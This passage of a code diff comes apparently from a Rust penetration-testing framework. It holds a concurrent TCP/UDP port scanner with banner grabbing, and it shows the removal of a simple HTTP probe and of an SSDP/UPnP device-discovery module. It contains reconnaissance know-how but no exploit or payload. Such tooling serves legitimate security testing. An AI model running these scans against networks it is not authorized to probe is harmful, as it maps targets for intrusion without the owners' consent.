|
||||
let port_range = match range_choice {
|
||||
1 | 0 => PortRange::All,
|
||||
2 => PortRange::Common,
|
||||
3 => PortRange::Top1000,
|
||||
4 => {
|
||||
let start_val: usize = prompt_usize("Start port: ")?;
|
||||
let end_val: usize = prompt_usize("End port: ")?;
|
||||
|
||||
if start_val > 65535 || start_val == 0 {
|
||||
return Err(anyhow!("Start port must be between 1 and 65535"));
|
||||
}
|
||||
if end_val > 65535 || end_val == 0 {
|
||||
return Err(anyhow!("End port must be between 1 and 65535"));
|
||||
}
|
||||
|
||||
let start: u16 = start_val.try_into().map_err(|_| anyhow!("Invalid start port"))?;
|
||||
let end: u16 = end_val.try_into().map_err(|_| anyhow!("Invalid end port"))?;
|
||||
|
||||
if start > end {
|
||||
return Err(anyhow!("Start port must be <= end port"));
|
||||
}
|
||||
PortRange::Custom { start, end }
|
||||
}
|
||||
_ => PortRange::All,
|
||||
};
|
||||
|
||||
let ports = port_range.get_ports();
|
||||
println!("{}", format!("[*] Selected {} ports to scan", ports.len()).green());
|
||||
|
||||
Ok(ScanSettings {
|
||||
concurrency: prompt_usize("Concurrency [100]: ").unwrap_or(100),
|
||||
timeout_secs: prompt_usize("Timeout (in seconds) [3]: ").unwrap_or(3) as u64,
|
||||
show_only_open: prompt_bool("Show only open ports? (y/n) [y]: ").unwrap_or(true),
|
||||
verbose: prompt_bool("Verbose output? (y/n) [n]: ").unwrap_or(false),
|
||||
scan_udp_enabled: prompt_bool("Include UDP scan? (y/n) [n]: ").unwrap_or(false),
|
||||
output_file: prompt("Output filename [scan_results.txt]: ").unwrap_or_else(|_| "scan_results.txt".to_string()),
|
||||
port_range,
|
||||
})
|
||||
}
|
||||
|
||||
/// Main entrypoint for interactive CLI mode
|
||||
pub async fn run_interactive(target: &str) -> Result<()> {
|
||||
let settings = prompt_settings()?;
|
||||
run_with_settings(
|
||||
target,
|
||||
settings.concurrency,
|
||||
settings.timeout_secs,
|
||||
settings.show_only_open,
|
||||
settings.verbose,
|
||||
settings.scan_udp_enabled,
|
||||
&settings.output_file,
|
||||
settings.port_range,
|
||||
)
|
||||
.await
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
run_interactive(target).await
|
||||
}
|
||||
|
||||
/// === Core Scanner Logic ===
|
||||
pub async fn run_with_settings(
|
||||
target: &str,
|
||||
concurrency: usize,
|
||||
timeout_secs: u64,
|
||||
show_only_open: bool,
|
||||
_verbose: bool,
|
||||
scan_udp_enabled: bool,
|
||||
output_file: &str,
|
||||
port_range: PortRange,
|
||||
) -> Result<()> {
|
||||
let start_time = Instant::now();
|
||||
let (resolved_ip_str, resolved_ip) = resolve_target(target)?;
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
let file = Arc::new(Mutex::new(BufWriter::new(File::create(output_file)?)));
|
||||
|
||||
let ports = port_range.get_ports();
|
||||
let total_ports = ports.len() * (1 + scan_udp_enabled as usize);
|
||||
|
||||
let stats = Arc::new(Mutex::new(ScanStats::new()));
|
||||
let progress = Arc::new(Mutex::new(ProgressTracker::new(total_ports)));
|
||||
|
||||
println!("\n{}", format!("[*] Starting scan for target: {} (resolved: {})", target, resolved_ip_str).cyan().bold());
|
||||
println!("{}", format!("[*] Scanning {} ports with concurrency: {}", total_ports, concurrency).cyan());
|
||||
writeln!(file.lock().unwrap(), "Port Scan Results for {} ({})\n", target, resolved_ip_str)?;
|
||||
let timestamp = std::time::SystemTime::now()
|
||||
.duration_since(std::time::UNIX_EPOCH)
|
||||
.unwrap()
|
||||
.as_secs();
|
||||
writeln!(file.lock().unwrap(), "Scan started at: {}\n", timestamp)?;
|
||||
|
||||
// TCP Scan
|
||||
println!("{}", "\n[*] Starting TCP scan...".yellow());
|
||||
let mut tcp_tasks = vec![];
|
||||
|
||||
for port in &ports {
|
||||
let permit = semaphore.clone().acquire_owned().await?;
|
||||
let file = file.clone();
|
||||
let stats = stats.clone();
|
||||
let progress = progress.clone();
|
||||
let ip = resolved_ip;
|
||||
let ip_str = resolved_ip_str.clone();
|
||||
let port = *port;
|
||||
|
||||
let handle = tokio::spawn(async move {
|
||||
let _permit = permit;
|
||||
let result = scan_tcp(&ip, port, timeout_secs).await;
|
||||
|
||||
let mut stats_guard = stats.lock().unwrap();
|
||||
let mut progress_guard = progress.lock().unwrap();
|
||||
|
||||
if let Some((status, banner, service)) = result {
|
||||
match status.as_str() {
|
||||
"OPEN" => {
|
||||
stats_guard.tcp_open += 1;
|
||||
let service_name = if service.is_empty() { get_service_name(port) } else { &service };
|
||||
let line = format!("[TCP] {}:{} ({}) => {}", ip_str, port, service_name, status.green());
|
||||
|
||||
if !show_only_open {
|
||||
let _ = writeln!(file.lock().unwrap(), "{}", line);
|
||||
}
|
||||
|
||||
let output_line = if !banner.is_empty() {
|
||||
format!("{} | Banner: {}", line, banner.trim().bright_black())
|
||||
} else {
|
||||
line
|
||||
};
|
||||
|
||||
let _ = writeln!(file.lock().unwrap(), "{}", output_line);
|
||||
println!("{}", output_line);
|
||||
}
|
||||
"CLOSED" => stats_guard.tcp_closed += 1,
|
||||
"TIMEOUT" | "FILTERED" => stats_guard.tcp_filtered += 1,
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
|
||||
progress_guard.increment(&start_time);
|
||||
if progress_guard.should_print() {
|
||||
progress_guard.print_progress();
|
||||
}
|
||||
});
|
||||
tcp_tasks.push(handle);
|
||||
}
|
||||
|
||||
// UDP Scan
|
||||
let mut udp_tasks = vec![];
|
||||
if scan_udp_enabled {
|
||||
println!("{}", "\n[*] Starting UDP scan...".yellow());
|
||||
for port in &ports {
|
||||
let permit = semaphore.clone().acquire_owned().await?;
|
||||
let file = file.clone();
|
||||
let stats = stats.clone();
|
||||
let progress = progress.clone();
|
||||
let ip = resolved_ip;
|
||||
let ip_str = resolved_ip_str.clone();
|
||||
let port = *port;
|
||||
|
||||
let handle = tokio::spawn(async move {
|
||||
let _permit = permit;
|
||||
let result = scan_udp(&ip, port, timeout_secs).await;
|
||||
|
||||
let mut stats_guard = stats.lock().unwrap();
|
||||
let mut progress_guard = progress.lock().unwrap();
|
||||
|
||||
if let Some(status) = result {
|
||||
match status.as_str() {
|
||||
"OPEN" => {
|
||||
stats_guard.udp_open += 1;
|
||||
let service_name = get_service_name(port);
|
||||
let line = format!("[UDP] {}:{} ({}) => {}", ip_str, port, service_name, status.green());
|
||||
|
||||
if !show_only_open {
|
||||
let _ = writeln!(file.lock().unwrap(), "{}", line);
|
||||
}
|
||||
|
||||
let _ = writeln!(file.lock().unwrap(), "{}", line);
|
||||
println!("{}", line);
|
||||
}
|
||||
"CLOSED" => stats_guard.udp_closed += 1,
|
||||
"FILTERED" => stats_guard.udp_filtered += 1,
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
|
||||
progress_guard.increment(&start_time);
|
||||
if progress_guard.should_print() {
|
||||
progress_guard.print_progress();
|
||||
}
|
||||
});
|
||||
udp_tasks.push(handle);
|
||||
}
|
||||
}
|
||||
|
||||
// Await all tasks
|
||||
for task in tcp_tasks {
|
||||
let _ = task.await;
|
||||
}
|
||||
for task in udp_tasks {
|
||||
let _ = task.await;
|
||||
}
|
||||
|
||||
let elapsed = start_time.elapsed();
|
||||
let stats = stats.lock().unwrap();
|
||||
|
||||
// Print summary
|
||||
println!("\n{}", "=== Scan Summary ===".cyan().bold());
|
||||
println!("{}", format!("Scan duration: {:.2} seconds", elapsed.as_secs_f64()).green());
|
||||
println!("\n{}", "TCP Ports:".yellow());
|
||||
println!(" {} Open: {}", "✓".green(), stats.tcp_open.to_string().green().bold());
|
||||
println!(" {} Closed: {}", "✗".red(), stats.tcp_closed);
|
||||
println!(" {} Filtered/Timeout: {}", "~".yellow(), stats.tcp_filtered);
|
||||
|
||||
if scan_udp_enabled {
|
||||
println!("\n{}", "UDP Ports:".yellow());
|
||||
println!(" {} Open: {}", "✓".green(), stats.udp_open.to_string().green().bold());
|
||||
println!(" {} Closed: {}", "✗".red(), stats.udp_closed);
|
||||
println!(" {} Filtered: {}", "~".yellow(), stats.udp_filtered);
|
||||
}
|
||||
|
||||
println!("\n{}", format!("[*] Results saved to {}", output_file).cyan());
|
||||
|
||||
// Write summary to file
|
||||
writeln!(file.lock().unwrap(), "\n=== Scan Summary ===")?;
|
||||
writeln!(file.lock().unwrap(), "Scan duration: {:.2} seconds", elapsed.as_secs_f64())?;
|
||||
writeln!(file.lock().unwrap(), "\nTCP Ports:")?;
|
||||
writeln!(file.lock().unwrap(), " Open: {}", stats.tcp_open)?;
|
||||
writeln!(file.lock().unwrap(), " Closed: {}", stats.tcp_closed)?;
|
||||
writeln!(file.lock().unwrap(), " Filtered/Timeout: {}", stats.tcp_filtered)?;
|
||||
if scan_udp_enabled {
|
||||
writeln!(file.lock().unwrap(), "\nUDP Ports:")?;
|
||||
writeln!(file.lock().unwrap(), " Open: {}", stats.udp_open)?;
|
||||
writeln!(file.lock().unwrap(), " Closed: {}", stats.udp_closed)?;
|
||||
writeln!(file.lock().unwrap(), " Filtered: {}", stats.udp_filtered)?;
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// === TCP Port Scanner with Enhanced Banner Grabbing ===
|
||||
async fn scan_tcp(ip: &std::net::IpAddr, port: u16, timeout_secs: u64) -> Option<(String, String, String)> {
|
||||
let addr = SocketAddr::new(*ip, port);
|
||||
match timeout(Duration::from_secs(timeout_secs), TcpStream::connect(addr)).await {
|
||||
Ok(Ok(mut stream)) => {
|
||||
// Try service-specific probes for better banner grabbing
|
||||
let (banner, service) = grab_banner(&mut stream, port).await;
|
||||
Some(("OPEN".into(), banner, service))
|
||||
}
|
||||
Ok(Err(_)) => Some(("CLOSED".into(), "".into(), "".into())),
|
||||
Err(_) => Some(("TIMEOUT".into(), "".into(), "".into())),
|
||||
}
|
||||
}
|
||||
|
||||
/// Enhanced banner grabbing with service-specific probes
|
||||
async fn grab_banner(stream: &mut TcpStream, port: u16) -> (String, String) {
|
||||
let mut buf = [0u8; 2048];
|
||||
|
||||
// Try to read initial banner (works for FTP, SMTP, POP3, etc.)
|
||||
match timeout(Duration::from_secs(2), stream.read(&mut buf)).await {
|
||||
Ok(Ok(n)) if n > 0 => {
|
||||
let banner = String::from_utf8_lossy(&buf[..n]).trim().to_string();
|
||||
let service = detect_service_from_banner(&banner, port);
|
||||
return (banner, service);
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
|
||||
// Service-specific probes
|
||||
match port {
|
||||
80 | 8080 => {
|
||||
// HTTP probe
|
||||
if let Ok(_) = stream.write_all(b"GET / HTTP/1.1\r\nHost: localhost\r\n\r\n").await {
|
||||
if let Ok(Ok(n)) = timeout(Duration::from_secs(2), stream.read(&mut buf)).await {
|
||||
if n > 0 {
|
||||
let response = String::from_utf8_lossy(&buf[..n]);
|
||||
if let Some(server) = extract_http_server(&response) {
|
||||
return (response.trim().to_string(), format!("HTTP ({})", server));
|
||||
}
|
||||
return (response.trim().to_string(), "HTTP".into());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
443 => {
|
||||
// HTTPS - can't easily probe without TLS, just return empty
|
||||
return ("".into(), "HTTPS".into());
|
||||
}
|
||||
22 => {
|
||||
// SSH - read SSH banner
|
||||
if let Ok(Ok(n)) = timeout(Duration::from_secs(2), stream.read(&mut buf)).await {
|
||||
if n > 0 {
|
||||
let banner = String::from_utf8_lossy(&buf[..n]).trim().to_string();
|
||||
return (banner, "SSH".into());
|
||||
}
|
||||
}
|
||||
}
|
||||
_ => {
|
||||
// Try reading again for other services
|
||||
if let Ok(Ok(n)) = timeout(Duration::from_secs(1), stream.read(&mut buf)).await {
|
||||
if n > 0 {
|
||||
let banner = String::from_utf8_lossy(&buf[..n]).trim().to_string();
|
||||
let service = detect_service_from_banner(&banner, port);
|
||||
return (banner, service);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
("".into(), "".into())
|
||||
}
|
||||
|
||||
fn detect_service_from_banner(banner: &str, port: u16) -> String {
|
||||
let banner_lower = banner.to_lowercase();
|
||||
|
||||
if banner_lower.contains("ssh") {
|
||||
"SSH".into()
|
||||
} else if banner_lower.contains("ftp") {
|
||||
"FTP".into()
|
||||
} else if banner_lower.contains("smtp") {
|
||||
"SMTP".into()
|
||||
} else if banner_lower.contains("pop3") {
|
||||
"POP3".into()
|
||||
} else if banner_lower.contains("imap") {
|
||||
"IMAP".into()
|
||||
} else if banner_lower.contains("http") {
|
||||
"HTTP".into()
|
||||
} else if banner_lower.contains("mysql") {
|
||||
"MySQL".into()
|
||||
} else {
|
||||
get_service_name(port).to_string()
|
||||
}
|
||||
}
|
||||
|
||||
fn extract_http_server(response: &str) -> Option<String> {
|
||||
for line in response.lines() {
|
||||
if line.to_lowercase().starts_with("server:") {
|
||||
return Some(line.split(':').nth(1).unwrap_or("").trim().to_string());
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
|
||||
/// === UDP Port Scanner ===
|
||||
async fn scan_udp(ip: &std::net::IpAddr, port: u16, timeout_secs: u64) -> Option<String> {
|
||||
let bind_addr = if ip.is_ipv4() { "0.0.0.0:0" } else { "[::]:0" };
|
||||
let sock = match UdpSocket::bind(bind_addr).await {
|
||||
Ok(s) => s,
|
||||
Err(_) => return Some("ERROR".into()),
|
||||
};
|
||||
|
||||
let target = SocketAddr::new(*ip, port);
|
||||
let payload = b"\x00\x00\x10\x10";
|
||||
let _ = sock.send_to(payload, target).await;
|
||||
|
||||
let mut buf = [0u8; 512];
|
||||
match timeout(Duration::from_secs(timeout_secs), sock.recv_from(&mut buf)).await {
|
||||
Ok(Ok((_len, _src))) => Some("OPEN".into()),
|
||||
Ok(Err(_)) => Some("CLOSED".into()),
|
||||
Err(_) => Some("FILTERED".into()),
|
||||
}
|
||||
}
|
||||
|
||||
/// === Target Resolution ===
|
||||
fn resolve_target(input: &str) -> Result<(String, std::net::IpAddr)> {
|
||||
let cleaned = input.trim().trim_start_matches('[').trim_end_matches(']');
|
||||
let addrs: Vec<_> = (cleaned, 0).to_socket_addrs()?.collect();
|
||||
if let Some(addr) = addrs.iter().find(|a| a.is_ipv4()) {
|
||||
Ok((addr.ip().to_string(), addr.ip()))
|
||||
} else if let Some(addr) = addrs.first() {
|
||||
Ok((addr.ip().to_string(), addr.ip()))
|
||||
} else {
|
||||
Err(anyhow!("Could not resolve target '{}'", input))
|
||||
}
|
||||
}
|
||||
|
||||
/// === Prompt Utilities ===
|
||||
fn prompt(message: &str) -> Result<String> {
|
||||
print!("{}", message.cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
let mut buf = String::new();
|
||||
io::stdin().read_line(&mut buf)?;
|
||||
Ok(buf.trim().to_string())
|
||||
}
|
||||
|
||||
fn prompt_bool(message: &str) -> Result<bool> {
|
||||
loop {
|
||||
let input = prompt(message)?;
|
||||
if input.is_empty() {
|
||||
return Ok(false);
|
||||
}
|
||||
match input.to_lowercase().as_str() {
|
||||
"y" | "yes" => return Ok(true),
|
||||
"n" | "no" => return Ok(false),
|
||||
_ => println!("{}", "Please enter 'y' or 'n'.".yellow()),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_usize(message: &str) -> Result<usize> {
|
||||
loop {
|
||||
let input = prompt(message)?;
|
||||
if input.is_empty() {
|
||||
return Err(anyhow!("Input required"));
|
||||
}
|
||||
if let Ok(n) = input.parse::<usize>() {
|
||||
return Ok(n);
|
||||
}
|
||||
println!("{}", "Please enter a valid number.".yellow());
|
||||
}
|
||||
}
|
||||
|
||||
/// === Scan Statistics ===
|
||||
struct ScanStats {
|
||||
tcp_open: usize,
|
||||
tcp_closed: usize,
|
||||
tcp_filtered: usize,
|
||||
udp_open: usize,
|
||||
udp_closed: usize,
|
||||
udp_filtered: usize,
|
||||
}
|
||||
|
||||
impl ScanStats {
|
||||
fn new() -> Self {
|
||||
ScanStats {
|
||||
tcp_open: 0,
|
||||
tcp_closed: 0,
|
||||
tcp_filtered: 0,
|
||||
udp_open: 0,
|
||||
udp_closed: 0,
|
||||
udp_filtered: 0,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// === Progress Tracker ===
|
||||
struct ProgressTracker {
|
||||
total: usize,
|
||||
current: usize,
|
||||
last_print: usize,
|
||||
start_time: Option<Instant>,
|
||||
}
|
||||
|
||||
impl ProgressTracker {
|
||||
fn new(total: usize) -> Self {
|
||||
ProgressTracker {
|
||||
total,
|
||||
current: 0,
|
||||
last_print: 0,
|
||||
start_time: None,
|
||||
}
|
||||
}
|
||||
|
||||
fn increment(&mut self, start_time: &Instant) {
|
||||
if self.start_time.is_none() {
|
||||
self.start_time = Some(*start_time);
|
||||
}
|
||||
self.current += 1;
|
||||
}
|
||||
|
||||
fn should_print(&self) -> bool {
|
||||
let diff = self.current - self.last_print;
|
||||
diff >= 100 || self.current == self.total
|
||||
}
|
||||
|
||||
fn print_progress(&mut self) {
|
||||
if self.current == 0 {
|
||||
return;
|
||||
}
|
||||
|
||||
let percentage = (self.current as f64 / self.total as f64) * 100.0;
|
||||
let elapsed = self.start_time.map(|s| s.elapsed()).unwrap_or_default();
|
||||
|
||||
let rate = if elapsed.as_secs() > 0 {
|
||||
self.current as f64 / elapsed.as_secs() as f64
|
||||
} else {
|
||||
0.0
|
||||
};
|
||||
|
||||
let remaining = if rate > 0.0 {
|
||||
(self.total - self.current) as f64 / rate
|
||||
} else {
|
||||
0.0
|
||||
};
|
||||
|
||||
print!("\r{}", format!(
|
||||
"[*] Progress: {}/{} ({:.1}%) | Rate: {:.0} ports/sec | ETA: {:.0}s",
|
||||
self.current,
|
||||
self.total,
|
||||
percentage,
|
||||
rate,
|
||||
remaining
|
||||
).cyan());
|
||||
io::stdout().flush().unwrap();
|
||||
|
||||
if self.current == self.total {
|
||||
println!();
|
||||
}
|
||||
|
||||
self.last_print = self.current;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -1,15 +0,0 @@
|
||||
use anyhow::{Result, Context};
|
||||
use reqwest;
|
||||
|
||||
/// A simple scanner that tries an HTTP GET and prints the response code
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("[*] Running sample_scanner on: {}", target);
|
||||
|
||||
let url = format!("http://{}", target);
|
||||
let resp = reqwest::get(&url)
|
||||
.await
|
||||
.context("Failed to send request")?;
|
||||
|
||||
println!("[*] Status code: {}", resp.status());
|
||||
Ok(())
|
||||
}
|
||||
@@ -1,344 +0,0 @@
|
||||
use anyhow::{Context, Result};
|
||||
use colored::*;
|
||||
use regex::Regex;
|
||||
use std::collections::HashMap;
|
||||
use std::io::Write;
|
||||
use std::net::SocketAddr;
|
||||
use tokio::net::UdpSocket;
|
||||
use tokio::time::{timeout as tokio_timeout, Duration};
|
||||
|
||||
/// SSDP Search Target types
|
||||
#[derive(Clone, Debug)]
|
||||
enum SearchTarget {
|
||||
RootDevice,
|
||||
All,
|
||||
Custom(String),
|
||||
}
|
||||
|
||||
impl SearchTarget {
|
||||
fn st_header(&self) -> &str {
|
||||
match self {
|
||||
SearchTarget::RootDevice => "upnp:rootdevice",
|
||||
SearchTarget::All => "ssdp:all",
|
||||
SearchTarget::Custom(st) => st,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
let port = prompt_port().unwrap_or(1900);
|
||||
let timeout_secs = prompt_timeout().unwrap_or(3);
|
||||
let retries = prompt_retries().unwrap_or(1);
|
||||
let verbose = prompt_verbose().unwrap_or(false);
|
||||
|
||||
let target = clean_ipv6_brackets(target);
|
||||
// Validate target format
|
||||
let _ = normalize_target(&target, port)
|
||||
.with_context(|| format!("Failed to normalize target '{}'", target))?;
|
||||
|
||||
// Determine search targets
|
||||
let search_targets = prompt_search_targets()?;
|
||||
|
||||
println!("{}", format!("[*] Sending SSDP M-SEARCH to {}:{}...", target, port).bold());
|
||||
|
||||
let mut found_any = false;
|
||||
|
||||
for (idx, st) in search_targets.iter().enumerate() {
|
||||
if search_targets.len() > 1 {
|
||||
println!(
|
||||
"{}",
|
||||
format!("[*] Trying ST: {} ({}/{})", st.st_header(), idx + 1, search_targets.len())
|
||||
.cyan()
|
||||
);
|
||||
}
|
||||
|
||||
for attempt in 1..=retries {
|
||||
if retries > 1 {
|
||||
println!(" [*] Attempt {}/{}", attempt, retries);
|
||||
}
|
||||
|
||||
match send_ssdp_request(&target, port, st, Duration::from_secs(timeout_secs), verbose).await {
|
||||
Ok(Some(response)) => {
|
||||
found_any = true;
|
||||
parse_ssdp_response(&response, &target, port, st.st_header());
|
||||
break; // Success, no need to retry
|
||||
}
|
||||
Ok(None) => {
|
||||
if verbose {
|
||||
println!(" {} No response received", "[-]".dimmed());
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
if verbose {
|
||||
eprintln!(" {} Error: {}", "[!]".yellow(), e);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Small delay between retries
|
||||
if attempt < retries {
|
||||
tokio::time::sleep(Duration::from_millis(500)).await;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if !found_any {
|
||||
println!("{}", "[-] Target did not respond to any M-SEARCH requests".yellow());
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn send_ssdp_request(
|
||||
target: &str,
|
||||
port: u16,
|
||||
st: &SearchTarget,
|
||||
timeout: Duration,
|
||||
verbose: bool,
|
||||
) -> Result<Option<String>> {
|
||||
let local_bind: SocketAddr = "0.0.0.0:0".parse()
|
||||
.context("Failed to parse local bind address")?;
|
||||
|
||||
let socket = UdpSocket::bind(local_bind).await
|
||||
.context("Failed to bind UDP socket")?;
|
||||
|
||||
let remote_addr: SocketAddr = format!("{}:{}", target, port).parse()
|
||||
.with_context(|| format!("Failed to parse remote address {}:{}", target, port))?;
|
||||
|
||||
socket.connect(&remote_addr).await
|
||||
.with_context(|| format!("Failed to connect to {}:{}", target, port))?;
|
||||
|
||||
let request = format!(
|
||||
"M-SEARCH * HTTP/1.1\r\n\
|
||||
HOST: {}:{}\r\n\
|
||||
MAN: \"ssdp:discover\"\r\n\
|
||||
MX: {}\r\n\
|
||||
ST: {}\r\n\
|
||||
USER-AGENT: RustSploit/1.0\r\n\r\n",
|
||||
target,
|
||||
port,
|
||||
timeout.as_secs().max(1),
|
||||
st.st_header()
|
||||
);
|
||||
|
||||
if verbose {
|
||||
println!(" [*] Sending request:\n{}", request.dimmed());
|
||||
}
|
||||
|
||||
socket.send(request.as_bytes()).await
|
||||
.context("Failed to send SSDP request")?;
|
||||
|
||||
let mut buf = vec![0u8; 4096]; // Increased buffer size for larger responses
|
||||
match tokio_timeout(timeout, socket.recv(&mut buf)).await {
|
||||
Ok(Ok(size)) => {
|
||||
let response = String::from_utf8_lossy(&buf[..size]).to_string();
|
||||
Ok(Some(response))
|
||||
}
|
||||
Ok(Err(e)) => Err(anyhow::anyhow!("Failed to receive response: {}", e)),
|
||||
Err(_) => Ok(None), // Timeout
|
||||
}
|
||||
}
|
||||
|
||||
/// Normalize the target: IPv6 -> [ipv6]:port, IPv4 stays as ipv4:port
|
||||
fn normalize_target(target: &str, port: u16) -> Result<String> {
|
||||
let addr = if target.contains(':') && !target.contains(']') {
|
||||
// Plain IPv6 without brackets
|
||||
format!("[{}]:{}", target, port)
|
||||
} else if target.contains('[') {
|
||||
// Already bracketed IPv6 (sanitize just in case)
|
||||
format!("[{}]:{}", target.trim_matches(&['[', ']'][..]), port)
|
||||
} else {
|
||||
// IPv4 or hostname
|
||||
format!("{}:{}", target, port)
|
||||
};
|
||||
Ok(addr)
|
||||
}
|
||||
|
||||
/// Cleans up accidental double or triple brackets like [[::1]] → ::1
|
||||
fn clean_ipv6_brackets(ip: &str) -> String {
|
||||
ip.trim_start_matches('[')
|
||||
.trim_end_matches(']')
|
||||
.to_string()
|
||||
}
|
||||
|
||||
/// Ask user for port (optional), fallback to 1900 if empty
|
||||
fn prompt_port() -> Option<u16> {
|
||||
print!("{}", "[*] Enter custom port (default 1900): ".cyan().bold());
|
||||
std::io::stdout().flush().ok();
|
||||
let mut input = String::new();
|
||||
if std::io::stdin().read_line(&mut input).is_ok() {
|
||||
let input = input.trim();
|
||||
if input.is_empty() {
|
||||
return None;
|
||||
}
|
||||
if let Ok(p) = input.parse::<u16>() {
|
||||
return Some(p);
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
|
||||
/// Ask user for timeout in seconds
|
||||
fn prompt_timeout() -> Option<u64> {
|
||||
print!("{}", "[*] Enter timeout in seconds (default 3): ".cyan().bold());
|
||||
std::io::stdout().flush().ok();
|
||||
let mut input = String::new();
|
||||
if std::io::stdin().read_line(&mut input).is_ok() {
|
||||
let input = input.trim();
|
||||
if input.is_empty() {
|
||||
return None;
|
||||
}
|
||||
if let Ok(t) = input.parse::<u64>() {
|
||||
if t > 0 && t <= 60 {
|
||||
return Some(t);
|
||||
}
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
|
||||
/// Ask user for number of retries
|
||||
fn prompt_retries() -> Option<u32> {
|
||||
print!("{}", "[*] Enter number of retries (default 1): ".cyan().bold());
|
||||
std::io::stdout().flush().ok();
|
||||
let mut input = String::new();
|
||||
if std::io::stdin().read_line(&mut input).is_ok() {
|
||||
let input = input.trim();
|
||||
if input.is_empty() {
|
||||
return None;
|
||||
}
|
||||
if let Ok(r) = input.parse::<u32>() {
|
||||
if r > 0 && r <= 10 {
|
||||
return Some(r);
|
||||
}
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
|
||||
/// Ask user for verbose mode
|
||||
fn prompt_verbose() -> Option<bool> {
|
||||
print!("{}", "[*] Verbose output? [y/N]: ".cyan().bold());
|
||||
std::io::stdout().flush().ok();
|
||||
let mut input = String::new();
|
||||
if std::io::stdin().read_line(&mut input).is_ok() {
|
||||
let input = input.trim().to_lowercase();
|
||||
match input.as_str() {
|
||||
"y" | "yes" => return Some(true),
|
||||
"n" | "no" | "" => return Some(false),
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
|
||||
/// Ask user for search targets
|
||||
fn prompt_search_targets() -> Result<Vec<SearchTarget>> {
|
||||
let mut targets = Vec::new();
|
||||
|
||||
println!("{}", "[*] Select SSDP Search Targets:".cyan().bold());
|
||||
println!(" 1. upnp:rootdevice (default)");
|
||||
println!(" 2. ssdp:all");
|
||||
println!(" 3. Custom ST");
|
||||
println!(" 4. All of the above");
|
||||
|
||||
print!("{}", "Enter choice [1-4, default 1]: ".cyan().bold());
|
||||
std::io::stdout().flush().ok();
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input).ok();
|
||||
|
||||
match input.trim() {
|
||||
"1" | "" => {
|
||||
targets.push(SearchTarget::RootDevice);
|
||||
}
|
||||
"2" => {
|
||||
targets.push(SearchTarget::All);
|
||||
}
|
||||
"3" => {
|
||||
print!("{}", "Enter custom ST: ".cyan().bold());
|
||||
std::io::stdout().flush().ok();
|
||||
let mut st_input = String::new();
|
||||
std::io::stdin().read_line(&mut st_input).ok();
|
||||
let st = st_input.trim().to_string();
|
||||
if !st.is_empty() {
|
||||
targets.push(SearchTarget::Custom(st));
|
||||
} else {
|
||||
targets.push(SearchTarget::RootDevice);
|
||||
}
|
||||
}
|
||||
"4" => {
|
||||
targets.push(SearchTarget::RootDevice);
|
||||
targets.push(SearchTarget::All);
|
||||
}
|
||||
_ => {
|
||||
targets.push(SearchTarget::RootDevice);
|
||||
}
|
||||
}
|
||||
|
||||
if targets.is_empty() {
|
||||
targets.push(SearchTarget::RootDevice);
|
||||
}
|
||||
|
||||
Ok(targets)
|
||||
}
|
||||
|
||||
fn parse_ssdp_response(response: &str, target_ip: &str, port: u16, st: &str) {
|
||||
let regexps = vec![
|
||||
("server", r"(?i)Server:\s*(.*?)\r\n"),
|
||||
("location", r"(?i)Location:\s*(.*?)\r\n"),
|
||||
("usn", r"(?i)USN:\s*(.*?)\r\n"),
|
||||
("st", r"(?i)ST:\s*(.*?)\r\n"),
|
||||
("nt", r"(?i)NT:\s*(.*?)\r\n"),
|
||||
("cache-control", r"(?i)Cache-Control:\s*(.*?)\r\n"),
|
||||
("ext", r"(?i)EXT:\s*(.*?)\r\n"),
|
||||
];
|
||||
|
||||
let mut results: HashMap<&str, String> = HashMap::new();
|
||||
|
||||
for (key, pattern) in regexps {
|
||||
if let Ok(re) = Regex::new(pattern) {
|
||||
if let Some(caps) = re.captures(response) {
|
||||
let value = caps.get(1)
|
||||
.map(|m| m.as_str().trim())
|
||||
.unwrap_or("")
|
||||
.to_string();
|
||||
results.insert(key, value);
|
||||
} else {
|
||||
results.insert(key, String::new());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Check HTTP status
|
||||
let status_line = response.lines().next().unwrap_or("");
|
||||
let status_ok = status_line.contains("200") || status_line.contains("HTTP/1.1");
|
||||
|
||||
if status_ok {
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
"[+] {}:{} | ST: {} | Server: {} | Location: {} | USN: {}",
|
||||
target_ip,
|
||||
port,
|
||||
results.get("st").or(results.get("nt")).unwrap_or(&st.to_string()),
|
||||
results.get("server").unwrap_or(&String::new()),
|
||||
results.get("location").unwrap_or(&String::new()),
|
||||
results.get("usn").unwrap_or(&String::new())
|
||||
)
|
||||
.green()
|
||||
);
|
||||
|
||||
// Show additional headers if present
|
||||
if let Some(cache) = results.get("cache-control") {
|
||||
if !cache.is_empty() {
|
||||
println!(" {} Cache-Control: {}", " |".dimmed(), cache.dimmed());
|
||||
}
|
||||
}
|
||||
} else {
|
||||
println!(
|
||||
"{}",
|
||||
format!("[!] {}:{} | Unexpected response: {}", target_ip, port, status_line)
|
